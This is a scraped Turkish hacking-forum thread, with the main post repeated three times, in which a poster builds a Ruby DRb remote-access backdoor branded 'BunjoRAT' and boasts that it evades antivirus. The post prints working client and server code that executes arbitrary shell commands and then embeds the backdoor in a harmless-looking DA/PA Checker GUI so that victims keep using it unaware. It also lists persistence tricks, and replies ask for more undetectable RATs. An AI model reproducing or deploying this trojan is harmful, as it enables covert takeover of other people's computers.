Teşekkürler hocamEline sağlık. Güzel içerik
I am not selling a paid virus, I am giving an example explanation and you can see from the report results that it works.I don't think this method can pass antiviruses.
I tested the codes on the computer and it really catches eset nod32 antivirus.I am not selling a paid virus, I am giving an example explanation and you can see from the report results that it works.
You hid the name of the running program and sent a picture, you are sharing a fake image. My program's name is not that long . Also, it may have been a while since I published the program. This is the second topic of the seriesI tested the codes on the computer and it really catches eset nod32 antivirus.
This really wasn't any fun.
It's good content for beginners, but there are a lot of topics you need to add.
My advice to you is to turn to reverse engineering because if you want to bypass the antivirus program completely, you need to know reverse engineering.
Sayenizde bende ruby öğreniyorum eline sağlık
Merhaba ben saldırı timlerinden Bunjo, bu konuda piyasada bulunan anti virüsler ile biraz eğleneceğiz.
İlk Konu:
Remote Code Execution Servisi Kodlamak! #1
- client.rb -
Ruby:require 'drb' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service("druby://0.0.0.0:8080", RShell.new) DRb.thread.join
- server.rb -
Ruby:require 'drb' begin rshell = DRbObject.new_with_uri("druby://localhost:8080") loop do begin STDOUT.print("Command: ") command = gets STDOUT.puts("\nOutput: ") puts rshell.exec command rescue end end rescue => exception STDOUT.puts(exception) end
Bir önce açtığım konuda programı Debian/Linux olan bir sistemde çalıştırmıştım ve platform bağımsızlığı olduğunu da belirtmiştim.
Şimdi ise Windows bir sistemde de deneyelim.
Şekildeki gibi sorunsuz şekilde program çalışıyor.
Rapor Linkleri:
Virustotal: VirusTotal
Jotti: client.rb - Jotti's malware scan
Virscan: VirScan - 多引擎文件在线检测平台
Raw script yüklenince bulmuyor diyenler için: Saldırgan komut çalıştırırken bile defender bir işe yaramıyor, başka yazılımlar ile de deneyebilirsiniz.
İyi uykular Windows Defender...
Şimdi kodumuzda biraz iyileştirmeler yapmalıyız. Örnek olarak karşı tarafa boş komut yollandığı zaman bağlantı sonlandırıyor.
Komut yollarken bir hata yakalama metodu ekleyeceğiz. Hata yakalama metodunun içinin boş olması ve bir döngüde olmamızın sayesinde bağlantı kapanmaycaktır.
- server.rb -
Ruby:require 'drb' class RServer def get_shell begin @shell = DRbObject.new_with_uri("druby://localhost:8080") rescue => get_shell_error STDERR.puts("Error: #{get_shell_error}") end end def banner banner_text = <<-'BANNER_TEXT' __________________ .-' \ _.-''-._ / '-. %100 FUD .-/\ .'. .'. /\-. ANKA TEAM _'/ \.' '. .' './ \'_ BunjoRAT :======:======::======:======: RUBY '. '. \ '' / .' .' '. . \ : : / . .' '.' \ ' ' / '.' ': \: :/ :' '. \ / .' '.\ /.' '\/' BANNER_TEXT puts(banner_text.red) end def endl puts end def exec_command loop do begin print("Execute: ".cyan) command = gets.chomp endl puts(@shell.exec(command)) rescue end end end end class String def red "\e[31m#{self}\e[0m" end def green "\e[32m#{self}\e[0m" end def yellow "\e[33m#{self}\e[0m" end def blue "\e[34m#{self}\e[0m" end def magenta "\e[35m#{self}\e[0m" end def cyan "\e[36m#{self}\e[0m" end def white "\e[37m#{self}\e[0m" end end server = RServer.new server.banner server.get_shell server.exec_command
Görselde olduğu gibi sorun çözüldü.
Server (saldırgan) tarafında yaptığımız ayarlamalar şuan için bitti.
Eğer karşı taraf programı kapatırsa sunucu durur ve bağlantımızı kayıp ederiz. Bunun için yapabileceğimiz şeylerden bazıları:
1- Kodu bir servis olarak bilgisayara enjekte etmek.
2- Kullanıcıya virüsü bir programmış gibi gösterip bağlantıyı arka planda çalıştırmak.
3- Programı temp gibi gözden kaçabilecek yerlere kopyalayıp, başlangıçta çalıştırılacaklara eklemek.
Ben bu konuda 2. seçeneği anlatacağım.
Önceden konusunu açtığım bir DA/PA Checker programım vardı.
DA/PA Checker konusu için tıkla!
Virüsü bu programın içine gömmeyi deneyelim.
Burada karşımıza GIL gibi büyük bir sorun çıkıyor.
GIL konum için tıkla!
Burada "eventmachine" adlı bir gem devreye giriyor ve asenkron programlama yapabilmemize olanak sağlıyor.
DA/PA Checker Kodları:
Ruby:require 'gtk3' require 'httparty' class MainWindow def initialize @headers = { 'X-RapidAPI-Key': '', 'X-RapidAPI-Host': 'domain-da-pa-check.p.rapidapi.com' } @window = Gtk::Window.new @window.title = "DA/PA Checker" @window.set_default_size(250, 280) @window.signal_connect("destroy") { Gtk.main_quit } @vbox = Gtk::Box.new(:vertical, 5) @window.add(@vbox) @entry = Gtk::Entry.new @vbox.pack_start(@entry, expand: false, fill: false, padding: 5) @button = Gtk::Button.new(label: "Check DA/PA") @button.signal_connect("clicked") { checker } @vbox.pack_start(@button, expand: false, fill: false, padding: 5) @textview = Gtk::TextView.new @textview.editable = false @scrolled_window = Gtk::ScrolledWindow.new @scrolled_window.add(@textview) @vbox.pack_start(@scrolled_window, expand: true, fill: true, padding: 5) @window.show_all end def add_text(target, da, pa, spam) @textview.buffer.text += "Target: #{target}\n" @textview.buffer.text += "DA: #{da}\n" @textview.buffer.text += "PA: #{pa}\n" @textview.buffer.text += "Spam: #{spam}\n" end def send_req(domain) @response = HTTParty.get("https://domain-da-pa-check.p.rapidapi.com/?target=#{domain}", headers: @headers) target = @response['body']['target'] da = @response['body']['da_score'] pa = @response['body']['pa_score'] spam = @response['body']['spam_score'] add_text(target, da, pa, spam) end def checker @textview.buffer.text = "" domain = @entry.text send_req(domain) end end Gtk.init MainWindow.new Gtk.main
İçine gömme yapacağımız kod bu olacak.
Not: Bu konular karşı tarafa zarar vermeniz için açılmıyor, siz kendiniz başka başka projelerinizin içine aynı şekilde gömme işleminizi yapabilirsiniz fakat ben bunu burada anlatmayacağım. Kısaca demek istediğim şey projenizi dosyalara parçalayıp çok fazla klasör ve dosya elde edebilirsiniz ve onların içinden birisine yine aynı işlemi yapabilirsiniz fakat ben bunu burada anlatırsam konu amacından çıkar.
Ufak bir programa gömme işlemi aşamasına geçelim.
Eventmachine gemini indirelim.
Rich (BB code):gem install eventmachine
Şimdi de DRB sunucusunu arka planda çalışacak şekilde kodda değiştirelim.
- client.rb -
Ruby:require 'drb' require 'eventmachine' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service('druby://0.0.0.0:8080', RShell.new) EM.run do puts("Asenkron gibisi yok!") end
GIL engelini de atlattığımıza göre artık bu kodu DA/PA Checker programıyla entegre etmekte hazırız.
Entegre Kod:
Ruby:require 'drb' require 'eventmachine' require 'gtk3' require 'httparty' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service('druby://0.0.0.0:8080', RShell.new) EM.run do class MainWindow def initialize @headers = { 'X-RapidAPI-Key': 'ANAHTARINIZ', 'X-RapidAPI-Host': 'domain-da-pa-check.p.rapidapi.com' } @window = Gtk::Window.new @window.title = "DA/PA Checker" @window.set_default_size(250, 280) @window.signal_connect("destroy") { Gtk.main_quit } @vbox = Gtk::Box.new(:vertical, 5) @window.add(@vbox) @entry = Gtk::Entry.new @vbox.pack_start(@entry, expand: false, fill: false, padding: 5) @button = Gtk::Button.new(label: "Check DA/PA") @button.signal_connect("clicked") { checker } @vbox.pack_start(@button, expand: false, fill: false, padding: 5) @textview = Gtk::TextView.new @textview.editable = false @scrolled_window = Gtk::ScrolledWindow.new @scrolled_window.add(@textview) @vbox.pack_start(@scrolled_window, expand: true, fill: true, padding: 5) @window.show_all end def add_text(target, da, pa, spam) @textview.buffer.text += "Target: #{target}\n" @textview.buffer.text += "DA: #{da}\n" @textview.buffer.text += "PA: #{pa}\n" @textview.buffer.text += "Spam: #{spam}\n" end def send_req(domain) @response = HTTParty.get("https://domain-da-pa-check.p.rapidapi.com/?target=#{domain}", headers: @headers) target = @response['body']['target'] da = @response['body']['da_score'] pa = @response['body']['pa_score'] spam = @response['body']['spam_score'] add_text(target, da, pa, spam) end def checker @textview.buffer.text = "" domain = @entry.text send_req(domain) end end Gtk.init MainWindow.new Gtk.main end
Evet o mutlu mutlu programını kullanmaya devam edebilir, biz de onu kullanıyoruz.
Okuyan herkese teşekkür ederim. Yeni konular gelecektir.
Emeğe karşılık konuyu beğenip mesaj atabilirsiniz
Teşekkür ederimSayenizde bende ruby öğreniyorum eline sağlık
TeşekkürlerEline sağlık
Maalesef amacının ne olduğu belli.reyiz bu fud android ratlardada işe yararmı acaba ? sürekli böyle fud paylaşın lütfen.
elinize sağlık güzel konu
Merhaba ben saldırı timlerinden Bunjo, bu konuda piyasada bulunan anti virüsler ile biraz eğleneceğiz.
İlk Konu:
Remote Code Execution Servisi Kodlamak! #1
- client.rb -
Ruby:require 'drb' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service("druby://0.0.0.0:8080", RShell.new) DRb.thread.join
- server.rb -
Ruby:require 'drb' begin rshell = DRbObject.new_with_uri("druby://localhost:8080") loop do begin STDOUT.print("Command: ") command = gets STDOUT.puts("\nOutput: ") puts rshell.exec command rescue end end rescue => exception STDOUT.puts(exception) end
Bir önce açtığım konuda programı Debian/Linux olan bir sistemde çalıştırmıştım ve platform bağımsızlığı olduğunu da belirtmiştim.
Şimdi ise Windows bir sistemde de deneyelim.
Şekildeki gibi sorunsuz şekilde program çalışıyor.
Rapor Linkleri:
Virustotal: VirusTotal
Jotti: client.rb - Jotti's malware scan
Virscan: VirScan - 多引擎文件在线检测平台
Raw script yüklenince bulmuyor diyenler için: Saldırgan komut çalıştırırken bile defender bir işe yaramıyor, başka yazılımlar ile de deneyebilirsiniz.
İyi uykular Windows Defender...
Şimdi kodumuzda biraz iyileştirmeler yapmalıyız. Örnek olarak karşı tarafa boş komut yollandığı zaman bağlantı sonlandırıyor.
Komut yollarken bir hata yakalama metodu ekleyeceğiz. Hata yakalama metodunun içinin boş olması ve bir döngüde olmamızın sayesinde bağlantı kapanmaycaktır.
- server.rb -
Ruby:require 'drb' class RServer def get_shell begin @shell = DRbObject.new_with_uri("druby://localhost:8080") rescue => get_shell_error STDERR.puts("Error: #{get_shell_error}") end end def banner banner_text = <<-'BANNER_TEXT' __________________ .-' \ _.-''-._ / '-. %100 FUD .-/\ .'. .'. /\-. ANKA TEAM _'/ \.' '. .' './ \'_ BunjoRAT :======:======::======:======: RUBY '. '. \ '' / .' .' '. . \ : : / . .' '.' \ ' ' / '.' ': \: :/ :' '. \ / .' '.\ /.' '\/' BANNER_TEXT puts(banner_text.red) end def endl puts end def exec_command loop do begin print("Execute: ".cyan) command = gets.chomp endl puts(@shell.exec(command)) rescue end end end end class String def red "\e[31m#{self}\e[0m" end def green "\e[32m#{self}\e[0m" end def yellow "\e[33m#{self}\e[0m" end def blue "\e[34m#{self}\e[0m" end def magenta "\e[35m#{self}\e[0m" end def cyan "\e[36m#{self}\e[0m" end def white "\e[37m#{self}\e[0m" end end server = RServer.new server.banner server.get_shell server.exec_command
Görselde olduğu gibi sorun çözüldü.
Server (saldırgan) tarafında yaptığımız ayarlamalar şuan için bitti.
Eğer karşı taraf programı kapatırsa sunucu durur ve bağlantımızı kayıp ederiz. Bunun için yapabileceğimiz şeylerden bazıları:
1- Kodu bir servis olarak bilgisayara enjekte etmek.
2- Kullanıcıya virüsü bir programmış gibi gösterip bağlantıyı arka planda çalıştırmak.
3- Programı temp gibi gözden kaçabilecek yerlere kopyalayıp, başlangıçta çalıştırılacaklara eklemek.
Ben bu konuda 2. seçeneği anlatacağım.
Önceden konusunu açtığım bir DA/PA Checker programım vardı.
DA/PA Checker konusu için tıkla!
Virüsü bu programın içine gömmeyi deneyelim.
Burada karşımıza GIL gibi büyük bir sorun çıkıyor.
GIL konum için tıkla!
Burada "eventmachine" adlı bir gem devreye giriyor ve asenkron programlama yapabilmemize olanak sağlıyor.
DA/PA Checker Kodları:
Ruby:require 'gtk3' require 'httparty' class MainWindow def initialize @headers = { 'X-RapidAPI-Key': '', 'X-RapidAPI-Host': 'domain-da-pa-check.p.rapidapi.com' } @window = Gtk::Window.new @window.title = "DA/PA Checker" @window.set_default_size(250, 280) @window.signal_connect("destroy") { Gtk.main_quit } @vbox = Gtk::Box.new(:vertical, 5) @window.add(@vbox) @entry = Gtk::Entry.new @vbox.pack_start(@entry, expand: false, fill: false, padding: 5) @button = Gtk::Button.new(label: "Check DA/PA") @button.signal_connect("clicked") { checker } @vbox.pack_start(@button, expand: false, fill: false, padding: 5) @textview = Gtk::TextView.new @textview.editable = false @scrolled_window = Gtk::ScrolledWindow.new @scrolled_window.add(@textview) @vbox.pack_start(@scrolled_window, expand: true, fill: true, padding: 5) @window.show_all end def add_text(target, da, pa, spam) @textview.buffer.text += "Target: #{target}\n" @textview.buffer.text += "DA: #{da}\n" @textview.buffer.text += "PA: #{pa}\n" @textview.buffer.text += "Spam: #{spam}\n" end def send_req(domain) @response = HTTParty.get("https://domain-da-pa-check.p.rapidapi.com/?target=#{domain}", headers: @headers) target = @response['body']['target'] da = @response['body']['da_score'] pa = @response['body']['pa_score'] spam = @response['body']['spam_score'] add_text(target, da, pa, spam) end def checker @textview.buffer.text = "" domain = @entry.text send_req(domain) end end Gtk.init MainWindow.new Gtk.main
İçine gömme yapacağımız kod bu olacak.
Not: Bu konular karşı tarafa zarar vermeniz için açılmıyor, siz kendiniz başka başka projelerinizin içine aynı şekilde gömme işleminizi yapabilirsiniz fakat ben bunu burada anlatmayacağım. Kısaca demek istediğim şey projenizi dosyalara parçalayıp çok fazla klasör ve dosya elde edebilirsiniz ve onların içinden birisine yine aynı işlemi yapabilirsiniz fakat ben bunu burada anlatırsam konu amacından çıkar.
Ufak bir programa gömme işlemi aşamasına geçelim.
Eventmachine gemini indirelim.
Rich (BB code):gem install eventmachine
Şimdi de DRB sunucusunu arka planda çalışacak şekilde kodda değiştirelim.
- client.rb -
Ruby:require 'drb' require 'eventmachine' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service('druby://0.0.0.0:8080', RShell.new) EM.run do puts("Asenkron gibisi yok!") end
GIL engelini de atlattığımıza göre artık bu kodu DA/PA Checker programıyla entegre etmekte hazırız.
Entegre Kod:
Ruby:require 'drb' require 'eventmachine' require 'gtk3' require 'httparty' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service('druby://0.0.0.0:8080', RShell.new) EM.run do class MainWindow def initialize @headers = { 'X-RapidAPI-Key': 'ANAHTARINIZ', 'X-RapidAPI-Host': 'domain-da-pa-check.p.rapidapi.com' } @window = Gtk::Window.new @window.title = "DA/PA Checker" @window.set_default_size(250, 280) @window.signal_connect("destroy") { Gtk.main_quit } @vbox = Gtk::Box.new(:vertical, 5) @window.add(@vbox) @entry = Gtk::Entry.new @vbox.pack_start(@entry, expand: false, fill: false, padding: 5) @button = Gtk::Button.new(label: "Check DA/PA") @button.signal_connect("clicked") { checker } @vbox.pack_start(@button, expand: false, fill: false, padding: 5) @textview = Gtk::TextView.new @textview.editable = false @scrolled_window = Gtk::ScrolledWindow.new @scrolled_window.add(@textview) @vbox.pack_start(@scrolled_window, expand: true, fill: true, padding: 5) @window.show_all end def add_text(target, da, pa, spam) @textview.buffer.text += "Target: #{target}\n" @textview.buffer.text += "DA: #{da}\n" @textview.buffer.text += "PA: #{pa}\n" @textview.buffer.text += "Spam: #{spam}\n" end def send_req(domain) @response = HTTParty.get("https://domain-da-pa-check.p.rapidapi.com/?target=#{domain}", headers: @headers) target = @response['body']['target'] da = @response['body']['da_score'] pa = @response['body']['pa_score'] spam = @response['body']['spam_score'] add_text(target, da, pa, spam) end def checker @textview.buffer.text = "" domain = @entry.text send_req(domain) end end Gtk.init MainWindow.new Gtk.main end
Evet o mutlu mutlu programını kullanmaya devam edebilir, biz de onu kullanıyoruz.
Okuyan herkese teşekkür ederim. Yeni konular gelecektir.
Emeğe karşılık konuyu beğenip mesaj atabilirsiniz
TeşekkürlerELİNİZE SAĞLIK GÜZEL KONU
vtye atmayalımda yakalamasınlar
Merhaba ben saldırı timlerinden Bunjo, bu konuda piyasada bulunan anti virüsler ile biraz eğleneceğiz.
İlk Konu:
Remote Code Execution Servisi Kodlamak! #1
- client.rb -
Ruby:require 'drb' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service("druby://0.0.0.0:8080", RShell.new) DRb.thread.join
- server.rb -
Ruby:require 'drb' begin rshell = DRbObject.new_with_uri("druby://localhost:8080") loop do begin STDOUT.print("Command: ") command = gets STDOUT.puts("\nOutput: ") puts rshell.exec command rescue end end rescue => exception STDOUT.puts(exception) end
Bir önce açtığım konuda programı Debian/Linux olan bir sistemde çalıştırmıştım ve platform bağımsızlığı olduğunu da belirtmiştim.
Şimdi ise Windows bir sistemde de deneyelim.
Şekildeki gibi sorunsuz şekilde program çalışıyor.
Rapor Linkleri:
Virustotal: VirusTotal
Jotti: client.rb - Jotti's malware scan
Virscan: VirScan - 多引擎文件在线检测平台
Raw script yüklenince bulmuyor diyenler için: Saldırgan komut çalıştırırken bile defender bir işe yaramıyor, başka yazılımlar ile de deneyebilirsiniz.
İyi uykular Windows Defender...
Şimdi kodumuzda biraz iyileştirmeler yapmalıyız. Örnek olarak karşı tarafa boş komut yollandığı zaman bağlantı sonlandırıyor.
Komut yollarken bir hata yakalama metodu ekleyeceğiz. Hata yakalama metodunun içinin boş olması ve bir döngüde olmamızın sayesinde bağlantı kapanmaycaktır.
- server.rb -
Ruby:require 'drb' class RServer def get_shell begin @shell = DRbObject.new_with_uri("druby://localhost:8080") rescue => get_shell_error STDERR.puts("Error: #{get_shell_error}") end end def banner banner_text = <<-'BANNER_TEXT' __________________ .-' \ _.-''-._ / '-. %100 FUD .-/\ .'. .'. /\-. ANKA TEAM _'/ \.' '. .' './ \'_ BunjoRAT :======:======::======:======: RUBY '. '. \ '' / .' .' '. . \ : : / . .' '.' \ ' ' / '.' ': \: :/ :' '. \ / .' '.\ /.' '\/' BANNER_TEXT puts(banner_text.red) end def endl puts end def exec_command loop do begin print("Execute: ".cyan) command = gets.chomp endl puts(@shell.exec(command)) rescue end end end end class String def red "\e[31m#{self}\e[0m" end def green "\e[32m#{self}\e[0m" end def yellow "\e[33m#{self}\e[0m" end def blue "\e[34m#{self}\e[0m" end def magenta "\e[35m#{self}\e[0m" end def cyan "\e[36m#{self}\e[0m" end def white "\e[37m#{self}\e[0m" end end server = RServer.new server.banner server.get_shell server.exec_command
Görselde olduğu gibi sorun çözüldü.
Server (saldırgan) tarafında yaptığımız ayarlamalar şuan için bitti.
Eğer karşı taraf programı kapatırsa sunucu durur ve bağlantımızı kayıp ederiz. Bunun için yapabileceğimiz şeylerden bazıları:
1- Kodu bir servis olarak bilgisayara enjekte etmek.
2- Kullanıcıya virüsü bir programmış gibi gösterip bağlantıyı arka planda çalıştırmak.
3- Programı temp gibi gözden kaçabilecek yerlere kopyalayıp, başlangıçta çalıştırılacaklara eklemek.
Ben bu konuda 2. seçeneği anlatacağım.
Önceden konusunu açtığım bir DA/PA Checker programım vardı.
DA/PA Checker konusu için tıkla!
Virüsü bu programın içine gömmeyi deneyelim.
Burada karşımıza GIL gibi büyük bir sorun çıkıyor.
GIL konum için tıkla!
Burada "eventmachine" adlı bir gem devreye giriyor ve asenkron programlama yapabilmemize olanak sağlıyor.
DA/PA Checker Kodları:
Ruby:require 'gtk3' require 'httparty' class MainWindow def initialize @headers = { 'X-RapidAPI-Key': '', 'X-RapidAPI-Host': 'domain-da-pa-check.p.rapidapi.com' } @window = Gtk::Window.new @window.title = "DA/PA Checker" @window.set_default_size(250, 280) @window.signal_connect("destroy") { Gtk.main_quit } @vbox = Gtk::Box.new(:vertical, 5) @window.add(@vbox) @entry = Gtk::Entry.new @vbox.pack_start(@entry, expand: false, fill: false, padding: 5) @button = Gtk::Button.new(label: "Check DA/PA") @button.signal_connect("clicked") { checker } @vbox.pack_start(@button, expand: false, fill: false, padding: 5) @textview = Gtk::TextView.new @textview.editable = false @scrolled_window = Gtk::ScrolledWindow.new @scrolled_window.add(@textview) @vbox.pack_start(@scrolled_window, expand: true, fill: true, padding: 5) @window.show_all end def add_text(target, da, pa, spam) @textview.buffer.text += "Target: #{target}\n" @textview.buffer.text += "DA: #{da}\n" @textview.buffer.text += "PA: #{pa}\n" @textview.buffer.text += "Spam: #{spam}\n" end def send_req(domain) @response = HTTParty.get("https://domain-da-pa-check.p.rapidapi.com/?target=#{domain}", headers: @headers) target = @response['body']['target'] da = @response['body']['da_score'] pa = @response['body']['pa_score'] spam = @response['body']['spam_score'] add_text(target, da, pa, spam) end def checker @textview.buffer.text = "" domain = @entry.text send_req(domain) end end Gtk.init MainWindow.new Gtk.main
İçine gömme yapacağımız kod bu olacak.
Not: Bu konular karşı tarafa zarar vermeniz için açılmıyor, siz kendiniz başka başka projelerinizin içine aynı şekilde gömme işleminizi yapabilirsiniz fakat ben bunu burada anlatmayacağım. Kısaca demek istediğim şey projenizi dosyalara parçalayıp çok fazla klasör ve dosya elde edebilirsiniz ve onların içinden birisine yine aynı işlemi yapabilirsiniz fakat ben bunu burada anlatırsam konu amacından çıkar.
Ufak bir programa gömme işlemi aşamasına geçelim.
Eventmachine gemini indirelim.
Rich (BB code):gem install eventmachine
Şimdi de DRB sunucusunu arka planda çalışacak şekilde kodda değiştirelim.
- client.rb -
Ruby:require 'drb' require 'eventmachine' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service('druby://0.0.0.0:8080', RShell.new) EM.run do puts("Asenkron gibisi yok!") end
GIL engelini de atlattığımıza göre artık bu kodu DA/PA Checker programıyla entegre etmekte hazırız.
Entegre Kod:
Ruby:require 'drb' require 'eventmachine' require 'gtk3' require 'httparty' class RShell def exec(cmd) `#{cmd}` end end DRb.start_service('druby://0.0.0.0:8080', RShell.new) EM.run do class MainWindow def initialize @headers = { 'X-RapidAPI-Key': 'ANAHTARINIZ', 'X-RapidAPI-Host': 'domain-da-pa-check.p.rapidapi.com' } @window = Gtk::Window.new @window.title = "DA/PA Checker" @window.set_default_size(250, 280) @window.signal_connect("destroy") { Gtk.main_quit } @vbox = Gtk::Box.new(:vertical, 5) @window.add(@vbox) @entry = Gtk::Entry.new @vbox.pack_start(@entry, expand: false, fill: false, padding: 5) @button = Gtk::Button.new(label: "Check DA/PA") @button.signal_connect("clicked") { checker } @vbox.pack_start(@button, expand: false, fill: false, padding: 5) @textview = Gtk::TextView.new @textview.editable = false @scrolled_window = Gtk::ScrolledWindow.new @scrolled_window.add(@textview) @vbox.pack_start(@scrolled_window, expand: true, fill: true, padding: 5) @window.show_all end def add_text(target, da, pa, spam) @textview.buffer.text += "Target: #{target}\n" @textview.buffer.text += "DA: #{da}\n" @textview.buffer.text += "PA: #{pa}\n" @textview.buffer.text += "Spam: #{spam}\n" end def send_req(domain) @response = HTTParty.get("https://domain-da-pa-check.p.rapidapi.com/?target=#{domain}", headers: @headers) target = @response['body']['target'] da = @response['body']['da_score'] pa = @response['body']['pa_score'] spam = @response['body']['spam_score'] add_text(target, da, pa, spam) end def checker @textview.buffer.text = "" domain = @entry.text send_req(domain) end end Gtk.init MainWindow.new Gtk.main end
Evet o mutlu mutlu programını kullanmaya devam edebilir, biz de onu kullanıyoruz.
Okuyan herkese teşekkür ederim. Yeni konular gelecektir.
Emeğe karşılık konuyu beğenip mesaj atabilirsiniz
yakalasınlar tekrar saklarımvtye atmayalımda yakalamasınlar
Haklı bir " up " olmuş. Emeğine sağlık
Teşekkürler canımHaklı bir " up " olmuş. Emeğine sağlık
Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.